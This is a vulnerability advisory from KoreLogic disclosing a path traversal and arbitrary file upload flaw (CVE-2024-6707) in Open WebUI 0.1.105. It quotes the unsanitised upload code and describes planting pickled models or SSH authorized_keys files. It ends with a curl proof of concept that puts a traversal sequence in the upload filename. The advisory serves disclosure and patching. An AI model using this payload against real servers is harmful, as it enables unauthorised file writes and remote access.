Open WebUI 0.1.105 File Upload / Path Traversal

`KL-001-2024-006: Open WebUI Arbitrary File Upload + Path Traversal  
  
Title: Open WebUI Arbitrary File Upload + Path Traversal  
Advisory ID: KL-001-2024-006  
Publication Date: 2024.08.D06  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-006.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Open WebUI  
Affected Product: Open WebUI  
Affected Version: 0.1.105  
Platform: Debian 12  
CWE Classification: CWE-22: Improper Limitation of a Pathname to a  
Restricted Directory ('Path Traversal'),  
CWE-434: Unrestricted Upload of File with Dangerous  
Type  
CVE ID: CVE-2024-6707  
  
  
2. Vulnerability Description  
  
Attacker controlled files can be uploaded to arbitrary  
locations on the web server's filesystem by abusing a  
path traversal vulnerability.  
  
  
3. Technical Description  
  
When attaching files to a prompt by clicking the  
plus sign (+) on the left of the message input box  
when using the Open WebUI HTTP interface, the file  
is uploaded to a static upload directory.  
  
The name of the file is derived from the original  
HTTP upload request and is not validated or sanitized.  
This allows for users to upload files with names  
containing dot-segments in the file path and traverse  
out of the intended uploads directory. Effectively, users  
can upload files anywhere on the filesystem the  
user running the web server has permission.  
  
This can be visualized by examining the python code  
for the "/rag/api/v1/doc" API route:  
  
@app.post("/doc")  
def store_doc(  
collection_name: Optional[str] = Form(None),  
file: UploadFile = File(...),  
user=Depends(get_current_user),  
):  
# "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm"  
  
print(file.content_type)  
try:  
filename = file.filename  
file_path = f"{UPLOAD_DIR}/{filename}"  
contents = file.file.read()  
with open(file_path, "wb") as f:  
f.write(contents)  
f.close()  
  
The "file" variable is a representation of the multipart  
form data contained within the HTTP POST request. The  
"filename" variable is derived from the uploaded file name  
and is not validated before writing the file contents  
to disk.  
  
This can be used to upload malicious models. These models  
are often distributed as pickled python objects and can  
be leveraged to execute arbitrary python bytecode once  
deserialized. Alternatively, an attacker can leverage existing  
services, such as SSH, to upload an attacker controlled  
"authorized_keys" file to remotely connect to the machine.  
  
  
4. Mitigation and Remediation Recommendation  
  
This issue was remediated in Open WebUI release v0.1.117 on 2024.04.03.  
  
  
5. Credit  
  
This vulnerability was discovered by Jaggar Henry and Sean  
Segreti of KoreLogic, Inc.  
  
  
6. Disclosure Timeline  
  
2024.03.05 - KoreLogic requests secure communications channel and point  
of contact from OpenWebUI.com via email.  
2024.03.12 - KoreLogic submits vulnerability details and suggested patch  
to maintainer via Github Security 'Report a vulnerability'  
web form.  
2024.04.01 - KoreLogic opens Discussion #1385 via GitHub to request an  
update from the maintainer.  
2024.04.01 - Maintainer opens a private fork and merges KoreLogic's patch.  
2024.04.03 - Maintainer releases v0.1.117.  
2024.08.06 - KoreLogic public disclosure.  
  
  
7. Proof of Concept  
  
Execute the following cURL command:  
  
TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\  
curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt"   
"$TARGET_URI/rag/api/v1/doc"  
  
Verify the file "pwned.txt" exists in the /tmp/ directory on  
the machine hosting the web server:  
  
ollama@webserver:~$ cat /tmp/pwned.txt  
korelogic  
ollama@webserver:~$  
  
  
The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy  
  
`